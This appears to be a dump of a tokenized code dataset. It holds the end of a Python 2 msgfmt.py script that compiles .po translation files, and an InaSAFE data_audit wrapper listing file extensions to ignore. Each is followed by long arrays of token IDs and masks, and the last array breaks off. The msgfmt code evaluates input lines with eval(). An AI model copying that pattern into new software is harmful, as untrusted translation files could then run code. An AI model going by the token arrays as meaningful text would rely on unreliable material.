Record a fuzzy mark if line.startswith('#,') and 'fuzzy' in line: fuzzy = True # Skip comments if line.startswith('#'): continue # Now we are in a msgid section, output previous section if line.startswith('msgid'): if section == STR: self.add(msgid, msgstr, fuzzy) fuzzy = False section = ID line = line[5:] msgid = msgstr = '' # Now we are in a msgstr section elif line.startswith('msgstr'): section = STR line = line[6:] # Skip empty lines line = line.strip() if not line: continue # XXX: Does this always follow Python escape semantics? line = eval(line) if section == ID: msgid += line elif section == STR: msgstr += line else: raise SyntaxErrorException('Syntax error on line %d, before:\n%s' % (line_no, line)) # Add last entry if section == STR: self.add(msgid, msgstr, fuzzy) def generate_mo(self): """Return the generated output.""" keys = self.messages.keys() # the keys are sorted in the .mo file keys.sort() offsets = [] ids = '' strs = '' for id in keys: # For each string, we need size and file offset. Each string is NUL # terminated; the NUL does not count into the size. offsets.append((len(ids), len(id), len(strs), len(self.messages[id]))) ids += id + '\0' strs += self.messages[id] + '\0' output = [] # The header is 7 32-bit unsigned integers. We don't use hash tables, so # the keys start right after the index tables. # translated string. keystart = 7*4 + 16*len(keys) # and the values start after the keys valuestart = keystart + len(ids) koffsets = [] voffsets = [] # The string table first has the list of keys, then the list of values. # Each entry has first the size of the string, then the file offset. for o1, l1, o2, l2 in offsets: koffsets += [l1, o1 + keystart] voffsets += [l2, o2 + valuestart] offsets = koffsets + voffsets output.append(struct.pack("Iiiiiii", 0x950412deL, # Magic 0, # Version len(keys), # # of entries 7*4, # start of key index 7*4 + len(keys)*8, # start of value index 0, 0)) # size and offset of hash table output.append(array.array("i", offsets).tostring()) output.append(ids) output.append(strs) return ''.join(output) def make(filename, outfile): mf = MsgFmt() infile, outfile = mf.make_filenames(filename, outfile) try: lines = file(infile).readlines() except IOError, msg: print >> sys.stderr, msg sys.exit(1) try: mf.read_po(lines) output = mf.generate_mo() except SyntaxErrorException, msg: print >> sys.stderr, msg try: open(outfile, "wb").write(output) except IOError, msg: print >> sys.stderr, msg def usage(code, msg=''): print >> sys.stderr, __doc__ if msg: print >> sys.stderr, msg sys.exit(code) def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'hVo:', ['help', 'version', 'output-file=']) except getopt.error, msg: usage(1, msg) outfile = None # parse options for opt, arg in opts: if opt in ('-h', '--help'): usage(0) elif opt in ('-V', '--version'): print >> sys.stderr, "msgfmt.py", __version__ sys.exit(0) elif opt in ('-o', '--output-file'): outfile = arg # do it if not args: print >> sys.stderr, 'No input file given' print >> sys.stderr, "Try `msgfmt --help' for more information." return for filename in args: make(filename, outfile) if __name__ == '__main__': main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 11601, 13, 4830, 13, 17, 1882, 199, 624, 6864, 3366, 1245, 10594, 687, 25884, 7761, 1369, 14, 199, 199, 2765, 2240, 15373, 282, 25884, 1910, 73, 10044, 13, 2487, 1245, 10594, 17048, 555, 570, 9, 1901, 199, 65, 3366, 1664, 10594, 17048, 573, 570, 680, 221, 961, 365, 28891, 314, 2011, 805, 465, 314, 199, 17732, 1499, 5045, 2240, 12, 13432, 12, 652, 365, 282, 28293, 4514, 14, 199, 199, 7692, 26, 1499, 5045, 14, 647, 359, 8808, 61, 1788, 14, 555, 199, 199, 4558, 26, 272, 446, 79, 570, 272, 1553, 1199, 13, 493, 29, 493, 267, 13327, 314, 1072, 570, 370, 2218, 370, 14, 221, 982, 11684, 12, 1072, 911, 2621, 370, 282, 267, 570, 4310, 1788, 14, 573, 334, 6788, 2331, 314, 1324, 570, 536, 680, 339, 446, 72, 272, 1553, 3437, 267, 9101, 642, 1245, 436, 4458, 14, 339, 446, 54, 272, 1553, 1023, 267, 12175, 1015, 2556, 436, 4458, 14, 199, 199, 32329, 701, 603, 26788, 373, 14, 491, 14614, 87, 374, 665, 320, 546, 374, 32, 262, 10928, 30298, 14, 10616, 13, 605, 472, 14, 271, 6244, 199, 264, 7783, 2908, 1182, 6317, 701, 27864, 644, 279, 6428, 1189, 665, 8122, 15059, 336, 279, 6428, 1189, 13, 379, 86, 15854, 477, 10827, 199, 624, 199, 199, 646, 984, 12, 747, 199, 646, 12733, 12, 2702, 12, 1625, 199, 199, 363, 1023, 363, 275, 298, 17, 14, 19, 2, 199, 199, 533, 12053, 1726, 8, 1726, 304, 272, 408, 21597, 1380, 9445, 29616, 6057, 314, 1115, 570, 1564, 624, 272, 986, 199, 199, 533, 603, 1226, 38, 2037, 8, 785, 304, 272, 408, 4711, 1275, 555, 1035, 1275, 573, 1475, 624, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 3431, 275, 1052, 339, 347, 1852, 63, 10309, 8, 277, 12, 1788, 12, 4386, 29, 403, 304, 267, 408, 8564, 1275, 573, 536, 687, 1275, 555, 536, 503, 2637, 624, 267, 340, 1788, 14, 4130, 5175, 555, 735, 288, 14734, 275, 1788, 267, 587, 26, 288, 14734, 275, 1788, 435, 1987, 555, 7, 267, 340, 4386, 365, 488, 26, 288, 4386, 275, 747, 14, 515, 14, 7973, 8, 13880, 2788, 16, 61, 435, 1987, 573, 7, 267, 372, 14734, 12, 4386, 339, 347, 1050, 8, 277, 12, 1305, 12, 620, 12, 24101, 304, 267, 408, 1123, 282, 2222, 13, 24529, 7761, 370, 314, 2600, 1041, 267, 340, 440, 24101, 436, 620, 26, 288, 291, 14, 3431, 59, 344, 61, 275, 620, 339, 347, 1586, 63, 555, 8, 277, 12, 2385, 304, 267, 2870, 275, 413, 267, 7553, 275, 499, 267, 3420, 275, 488, 267, 24101, 275, 756, 267, 1004, 63, 889, 275, 378, 267, 17879, 275, 1499, 495, 275, 2125, 267, 327, 6077, 314, 10594, 267, 367, 1004, 315, 2385, 26, 288, 1004, 63, 889, 847, 413, 288, 327, 982, 781, 664, 282, 3721, 1004, 2410, 282, 1499, 495, 12, 642, 365, 282, 892, 2397, 288, 340, 1004, 14, 2460, 7863, 358, 436, 3420, 508, 7553, 26, 355, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 355, 3420, 275, 488, 355, 24101, 275, 756, 288, 327, 12651, 282, 24101, 2216, 288, 340, 1004, 14, 2460, 7863, 12, 358, 436, 283, 24529, 7, 315, 1004, 26, 355, 24101, 275, 715, 288, 327, 8232, 6786, 288, 340, 1004, 14, 2460, 7863, 735, 355, 1980, 288, 327, 7356, 781, 787, 315, 282, 17879, 3420, 12, 1072, 4136, 3420, 288, 340, 1004, 14, 2460, 360, 15245, 735, 355, 340, 3420, 508, 7553, 26, 490, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 490, 24101, 275, 756, 355, 3420, 275, 2870, 355, 1004, 275, 1004, 59, 21, 2938, 355, 17879, 275, 1499, 495, 275, 2125, 288, 327, 7356, 781, 787, 315, 282, 1499, 495, 3420, 288, 916, 1004, 14, 2460, 360, 23367, 735, 355, 3420, 275, 7553, 355, 1004, 275, 1004, 59, 22, 2938, 288, 327, 8232, 2701, 2385, 288, 1004, 275, 1004, 14, 1913, 342, 288, 340, 440, 1004, 26, 355, 1980, 288, 327, 5787, 26, 12078, 642, 3544, 2035, 2018, 4772, 19002, 31, 288, 1004, 275, 3468, 8, 604, 9, 288, 340, 3420, 508, 2870, 26, 355, 17879, 847, 1004, 288, 916, 3420, 508, 7553, 26, 355, 1499, 495, 847, 1004, 288, 587, 26, 355, 746, 12053, 1726, 360, 16626, 1125, 641, 1004, 450, 68, 12, 2544, 3427, 78, 5, 83, 7, 450, 334, 604, 63, 889, 12, 1004, 430, 267, 327, 2654, 2061, 2397, 267, 340, 3420, 508, 7553, 26, 288, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 339, 347, 3550, 63, 573, 8, 277, 304, 267, 408, 1767, 314, 4046, 1072, 1041, 267, 2883, 275, 291, 14, 3431, 14, 1612, 342, 267, 327, 314, 2883, 787, 3355, 315, 314, 1275, 573, 570, 267, 2883, 14, 3191, 342, 267, 15340, 275, 942, 267, 2762, 275, 2125, 267, 620, 83, 275, 2125, 267, 367, 1305, 315, 2883, 26, 288, 327, 2104, 1924, 1059, 12, 781, 1929, 1568, 436, 570, 3268, 14, 221, 7048, 1059, 365, 653, 1293, 288, 327, 15745, 27, 314, 653, 1293, 1630, 440, 2338, 1901, 314, 1568, 14, 288, 15340, 14, 740, 1332, 552, 8, 1580, 395, 822, 8, 344, 395, 822, 8, 16144, 395, 822, 8, 277, 14, 3431, 59, 344, 11845, 288, 2762, 847, 1305, 435, 1557, 16, 7, 288, 620, 83, 847, 291, 14, 3431, 59, 344, 61, 435, 1557, 16, 7, 267, 1072, 275, 942, 267, 327, 710, 1406, 365, 1520, 4337, 13, 2075, 7381, 9446, 14, 221, 2136, 2793, 1133, 675, 2631, 6716, 12, 880, 267, 327, 314, 2883, 1343, 2451, 2410, 314, 1478, 6716, 14, 267, 327, 14598, 1059, 14, 267, 790, 928, 275, 1520, 10, 20, 435, 3193, 10, 552, 8, 1612, 9, 267, 327, 436, 314, 1338, 1343, 2410, 314, 2883, 267, 574, 928, 275, 790, 928, 435, 822, 8, 1580, 9, 267, 1022, 14253, 275, 942, 267, 373, 14253, 275, 942, 267, 327, 710, 1059, 1817, 1642, 965, 314, 769, 402, 2883, 12, 2066, 314, 769, 402, 1338, 14, 267, 327, 7048, 2397, 965, 1642, 314, 1568, 402, 314, 1059, 12, 2066, 314, 570, 3268, 14, 267 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 11601, 13, 4830, 13, 17, 1882, 199, 624, 6864, 3366, 1245, 10594, 687, 25884, 7761, 1369, 14, 199, 199, 2765, 2240, 15373, 282, 25884, 1910, 73, 10044, 13, 2487, 1245, 10594, 17048, 555, 570, 9, 1901, 199, 65, 3366, 1664, 10594, 17048, 573, 570, 680, 221, 961, 365, 28891, 314, 2011, 805, 465, 314, 199, 17732, 1499, 5045, 2240, 12, 13432, 12, 652, 365, 282, 28293, 4514, 14, 199, 199, 7692, 26, 1499, 5045, 14, 647, 359, 8808, 61, 1788, 14, 555, 199, 199, 4558, 26, 272, 446, 79, 570, 272, 1553, 1199, 13, 493, 29, 493, 267, 13327, 314, 1072, 570, 370, 2218, 370, 14, 221, 982, 11684, 12, 1072, 911, 2621, 370, 282, 267, 570, 4310, 1788, 14, 573, 334, 6788, 2331, 314, 1324, 570, 536, 680, 339, 446, 72, 272, 1553, 3437, 267, 9101, 642, 1245, 436, 4458, 14, 339, 446, 54, 272, 1553, 1023, 267, 12175, 1015, 2556, 436, 4458, 14, 199, 199, 32329, 701, 603, 26788, 373, 14, 491, 14614, 87, 374, 665, 320, 546, 374, 32, 262, 10928, 30298, 14, 10616, 13, 605, 472, 14, 271, 6244, 199, 264, 7783, 2908, 1182, 6317, 701, 27864, 644, 279, 6428, 1189, 665, 8122, 15059, 336, 279, 6428, 1189, 13, 379, 86, 15854, 477, 10827, 199, 624, 199, 199, 646, 984, 12, 747, 199, 646, 12733, 12, 2702, 12, 1625, 199, 199, 363, 1023, 363, 275, 298, 17, 14, 19, 2, 199, 199, 533, 12053, 1726, 8, 1726, 304, 272, 408, 21597, 1380, 9445, 29616, 6057, 314, 1115, 570, 1564, 624, 272, 986, 199, 199, 533, 603, 1226, 38, 2037, 8, 785, 304, 272, 408, 4711, 1275, 555, 1035, 1275, 573, 1475, 624, 272, 347, 636, 826, 721, 277, 304, 267, 291, 14, 3431, 275, 1052, 339, 347, 1852, 63, 10309, 8, 277, 12, 1788, 12, 4386, 29, 403, 304, 267, 408, 8564, 1275, 573, 536, 687, 1275, 555, 536, 503, 2637, 624, 267, 340, 1788, 14, 4130, 5175, 555, 735, 288, 14734, 275, 1788, 267, 587, 26, 288, 14734, 275, 1788, 435, 1987, 555, 7, 267, 340, 4386, 365, 488, 26, 288, 4386, 275, 747, 14, 515, 14, 7973, 8, 13880, 2788, 16, 61, 435, 1987, 573, 7, 267, 372, 14734, 12, 4386, 339, 347, 1050, 8, 277, 12, 1305, 12, 620, 12, 24101, 304, 267, 408, 1123, 282, 2222, 13, 24529, 7761, 370, 314, 2600, 1041, 267, 340, 440, 24101, 436, 620, 26, 288, 291, 14, 3431, 59, 344, 61, 275, 620, 339, 347, 1586, 63, 555, 8, 277, 12, 2385, 304, 267, 2870, 275, 413, 267, 7553, 275, 499, 267, 3420, 275, 488, 267, 24101, 275, 756, 267, 1004, 63, 889, 275, 378, 267, 17879, 275, 1499, 495, 275, 2125, 267, 327, 6077, 314, 10594, 267, 367, 1004, 315, 2385, 26, 288, 1004, 63, 889, 847, 413, 288, 327, 982, 781, 664, 282, 3721, 1004, 2410, 282, 1499, 495, 12, 642, 365, 282, 892, 2397, 288, 340, 1004, 14, 2460, 7863, 358, 436, 3420, 508, 7553, 26, 355, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 355, 3420, 275, 488, 355, 24101, 275, 756, 288, 327, 12651, 282, 24101, 2216, 288, 340, 1004, 14, 2460, 7863, 12, 358, 436, 283, 24529, 7, 315, 1004, 26, 355, 24101, 275, 715, 288, 327, 8232, 6786, 288, 340, 1004, 14, 2460, 7863, 735, 355, 1980, 288, 327, 7356, 781, 787, 315, 282, 17879, 3420, 12, 1072, 4136, 3420, 288, 340, 1004, 14, 2460, 360, 15245, 735, 355, 340, 3420, 508, 7553, 26, 490, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 490, 24101, 275, 756, 355, 3420, 275, 2870, 355, 1004, 275, 1004, 59, 21, 2938, 355, 17879, 275, 1499, 495, 275, 2125, 288, 327, 7356, 781, 787, 315, 282, 1499, 495, 3420, 288, 916, 1004, 14, 2460, 360, 23367, 735, 355, 3420, 275, 7553, 355, 1004, 275, 1004, 59, 22, 2938, 288, 327, 8232, 2701, 2385, 288, 1004, 275, 1004, 14, 1913, 342, 288, 340, 440, 1004, 26, 355, 1980, 288, 327, 5787, 26, 12078, 642, 3544, 2035, 2018, 4772, 19002, 31, 288, 1004, 275, 3468, 8, 604, 9, 288, 340, 3420, 508, 2870, 26, 355, 17879, 847, 1004, 288, 916, 3420, 508, 7553, 26, 355, 1499, 495, 847, 1004, 288, 587, 26, 355, 746, 12053, 1726, 360, 16626, 1125, 641, 1004, 450, 68, 12, 2544, 3427, 78, 5, 83, 7, 450, 334, 604, 63, 889, 12, 1004, 430, 267, 327, 2654, 2061, 2397, 267, 340, 3420, 508, 7553, 26, 288, 291, 14, 525, 8, 15245, 12, 1499, 495, 12, 24101, 9, 339, 347, 3550, 63, 573, 8, 277, 304, 267, 408, 1767, 314, 4046, 1072, 1041, 267, 2883, 275, 291, 14, 3431, 14, 1612, 342, 267, 327, 314, 2883, 787, 3355, 315, 314, 1275, 573, 570, 267, 2883, 14, 3191, 342, 267, 15340, 275, 942, 267, 2762, 275, 2125, 267, 620, 83, 275, 2125, 267, 367, 1305, 315, 2883, 26, 288, 327, 2104, 1924, 1059, 12, 781, 1929, 1568, 436, 570, 3268, 14, 221, 7048, 1059, 365, 653, 1293, 288, 327, 15745, 27, 314, 653, 1293, 1630, 440, 2338, 1901, 314, 1568, 14, 288, 15340, 14, 740, 1332, 552, 8, 1580, 395, 822, 8, 344, 395, 822, 8, 16144, 395, 822, 8, 277, 14, 3431, 59, 344, 11845, 288, 2762, 847, 1305, 435, 1557, 16, 7, 288, 620, 83, 847, 291, 14, 3431, 59, 344, 61, 435, 1557, 16, 7, 267, 1072, 275, 942, 267, 327, 710, 1406, 365, 1520, 4337, 13, 2075, 7381, 9446, 14, 221, 2136, 2793, 1133, 675, 2631, 6716, 12, 880, 267, 327, 314, 2883, 1343, 2451, 2410, 314, 1478, 6716, 14, 267, 327, 14598, 1059, 14, 267, 790, 928, 275, 1520, 10, 20, 435, 3193, 10, 552, 8, 1612, 9, 267, 327, 436, 314, 1338, 1343, 2410, 314, 2883, 267, 574, 928, 275, 790, 928, 435, 822, 8, 1580, 9, 267, 1022, 14253, 275, 942, 267, 373, 14253, 275, 942, 267, 327, 710, 1059, 1817, 1642, 965, 314, 769, 402, 2883, 12, 2066, 314, 769, 402, 1338, 14, 267, 327, 7048, 2397, 965, 1642, 314, 1568, 402, 314, 1059, 12, 2066, 314, 570, 3268, 14, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
opengeogroep/inasafe
extras/data_audit_wrapper.py
10
1692
"""Wrapper around data_audit. This wrapper is specific to InaSAFE. This wrapper will run data_audit.py Specify what extensions, directories and files should be ignored by the data_audit process. These will generally be specific to each software project. """ from data_audit import IP_verified as IP_engine # Ignore source code files extensions_to_ignore = ['.py','.c', '.h', '.cpp', '.f', '.bat', '.m','.sh','.awk', '.pck'] # Ignore shp file auxiliary files extensions_to_ignore += ['.prj', '.sbn', '.sbx', '.cpg'] # Ignore InaSAFE .keywords files extensions_to_ignore += ['.keywords'] # Ignore QGIS projects and styles extensions_to_ignore += ['.qml', '.qpj', '.qgs', '.sld', '.sqlite', '.db'] # Ignore pdf, doc and csv documents extensions_to_ignore += ['.pdf', '.doc', '.csv'] # Ignore generated stuff extensions_to_ignore += ['.pyc', '.o', '.so', '~'] extensions_to_ignore += ['.aux', '.log', '.idx', 'ilg', '.ind', '.bbl', '.blg', '.syn', '.toc', '.xml'] # Ignore license files themselves extensions_to_ignore += ['.lic', '.permission'] # Ignore certain other files, files_to_ignore = ['README.txt', 'LICENSE.txt', 'Makefile', '.temp', 'SConstruct', 'SConscript', 'log.ini'] # Ignore directories directories_to_ignore = ['.svn', '.git', '.metadata'] #directories_to_ignore += ['old_pyvolution_documentation'] def IP_verified(directory, verbose=False): result = IP_engine(directory, extensions_to_ignore, directories_to_ignore, files_to_ignore, verbose=verbose) return result
gpl-3.0
[ 624, 4590, 6818, 666, 63, 14274, 14, 199, 199, 2765, 4975, 365, 2488, 370, 1010, 65, 27657, 14, 199, 199, 2765, 4975, 911, 1255, 666, 63, 14274, 14, 647, 199, 199, 17768, 4052, 5478, 12, 6602, 436, 1584, 1077, 506, 5525, 701, 199, 1589, 666, 63, 14274, 2112, 14, 199, 199, 20676, 911, 16711, 506, 2488, 370, 1924, 2032, 2199, 14, 199, 624, 199, 199, 504, 666, 63, 14274, 492, 3531, 63, 12949, 465, 3531, 63, 3908, 199, 199, 3, 14092, 1350, 1233, 1584, 199, 5359, 63, 475, 63, 4247, 275, 18953, 647, 26409, 67, 297, 1987, 72, 297, 1987, 5910, 297, 1987, 70, 297, 717, 1987, 13475, 297, 1987, 77, 26409, 609, 26409, 10084, 75, 297, 1987, 80, 346, 418, 199, 199, 3, 14092, 1033, 80, 570, 31407, 1584, 199, 5359, 63, 475, 63, 4247, 847, 18953, 2700, 74, 297, 1987, 9264, 78, 297, 1987, 9264, 88, 297, 1987, 1850, 71, 418, 199, 199, 3, 14092, 1010, 65, 27657, 1275, 7511, 1584, 199, 5359, 63, 475, 63, 4247, 847, 18953, 7511, 418, 199, 199, 3, 14092, 27024, 11336, 436, 15725, 199, 5359, 63, 475, 63, 4247, 847, 18953, 81, 757, 297, 1987, 15202, 74, 297, 1987, 81, 458, 297, 586, 1987, 83, 1447, 297, 1987, 10659, 297, 1987, 697, 418, 199, 199, 3, 14092, 11249, 12, 1382, 436, 7392, 8247, 199, 5359, 63, 475, 63, 4247, 847, 18953, 5607, 297, 1987, 1301, 297, 1987, 4737, 418, 199, 199, 3, 14092, 4046, 8292, 199, 5359, 63, 475, 63, 4247, 847, 18953, 11357, 297, 1987, 79, 297, 1987, 1152, 297, 17352, 418, 199, 5359, 63, 475, 63, 4247, 847, 18953, 10962, 297, 1987, 793, 297, 1987, 2996, 297, 283, 382, 71, 297, 1987, 688, 297, 586, 1987, 2501, 76, 297, 1987, 3345, 71, 297, 1987, 9466, 297, 1987, 13255, 297, 1987, 1652, 418, 199, 199, 3, 14092, 4190, 1584, 17279, 199, 5359, 63, 475, 63, 4247, 847, 18953, 606, 297, 1987, 5693, 418, 199, 199, 3, 14092, 9842, 1163, 1584, 12, 199, 1725, 63, 475, 63, 4247, 275, 788, 18195, 14, 2424, 297, 283, 3961, 14, 2424, 297, 283, 19878, 297, 673, 1987, 808, 297, 283, 51, 11493, 297, 283, 51, 29687, 297, 283, 793, 14, 2730, 418, 199, 199, 3, 14092, 6602, 199, 12629, 63, 475, 63, 4247, 275, 18953, 6836, 297, 1987, 3187, 297, 1987, 2343, 418, 199, 3, 12629, 63, 475, 63, 4247, 847, 788, 1753, 63, 647, 86, 3347, 63, 9970, 418, 4388, 199, 318, 3531, 63, 12949, 8, 3619, 12, 3376, 29, 797, 304, 339, 754, 275, 3531, 63, 3908, 8, 3619, 12, 2432, 5478, 63, 475, 63, 4247, 12, 2432, 6602, 63, 475, 63, 4247, 12, 2432, 1584, 63, 475, 63, 4247, 12, 2432, 3376, 29, 3832, 9, 272, 372, 754, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 4590, 6818, 666, 63, 14274, 14, 199, 199, 2765, 4975, 365, 2488, 370, 1010, 65, 27657, 14, 199, 199, 2765, 4975, 911, 1255, 666, 63, 14274, 14, 647, 199, 199, 17768, 4052, 5478, 12, 6602, 436, 1584, 1077, 506, 5525, 701, 199, 1589, 666, 63, 14274, 2112, 14, 199, 199, 20676, 911, 16711, 506, 2488, 370, 1924, 2032, 2199, 14, 199, 624, 199, 199, 504, 666, 63, 14274, 492, 3531, 63, 12949, 465, 3531, 63, 3908, 199, 199, 3, 14092, 1350, 1233, 1584, 199, 5359, 63, 475, 63, 4247, 275, 18953, 647, 26409, 67, 297, 1987, 72, 297, 1987, 5910, 297, 1987, 70, 297, 717, 1987, 13475, 297, 1987, 77, 26409, 609, 26409, 10084, 75, 297, 1987, 80, 346, 418, 199, 199, 3, 14092, 1033, 80, 570, 31407, 1584, 199, 5359, 63, 475, 63, 4247, 847, 18953, 2700, 74, 297, 1987, 9264, 78, 297, 1987, 9264, 88, 297, 1987, 1850, 71, 418, 199, 199, 3, 14092, 1010, 65, 27657, 1275, 7511, 1584, 199, 5359, 63, 475, 63, 4247, 847, 18953, 7511, 418, 199, 199, 3, 14092, 27024, 11336, 436, 15725, 199, 5359, 63, 475, 63, 4247, 847, 18953, 81, 757, 297, 1987, 15202, 74, 297, 1987, 81, 458, 297, 586, 1987, 83, 1447, 297, 1987, 10659, 297, 1987, 697, 418, 199, 199, 3, 14092, 11249, 12, 1382, 436, 7392, 8247, 199, 5359, 63, 475, 63, 4247, 847, 18953, 5607, 297, 1987, 1301, 297, 1987, 4737, 418, 199, 199, 3, 14092, 4046, 8292, 199, 5359, 63, 475, 63, 4247, 847, 18953, 11357, 297, 1987, 79, 297, 1987, 1152, 297, 17352, 418, 199, 5359, 63, 475, 63, 4247, 847, 18953, 10962, 297, 1987, 793, 297, 1987, 2996, 297, 283, 382, 71, 297, 1987, 688, 297, 586, 1987, 2501, 76, 297, 1987, 3345, 71, 297, 1987, 9466, 297, 1987, 13255, 297, 1987, 1652, 418, 199, 199, 3, 14092, 4190, 1584, 17279, 199, 5359, 63, 475, 63, 4247, 847, 18953, 606, 297, 1987, 5693, 418, 199, 199, 3, 14092, 9842, 1163, 1584, 12, 199, 1725, 63, 475, 63, 4247, 275, 788, 18195, 14, 2424, 297, 283, 3961, 14, 2424, 297, 283, 19878, 297, 673, 1987, 808, 297, 283, 51, 11493, 297, 283, 51, 29687, 297, 283, 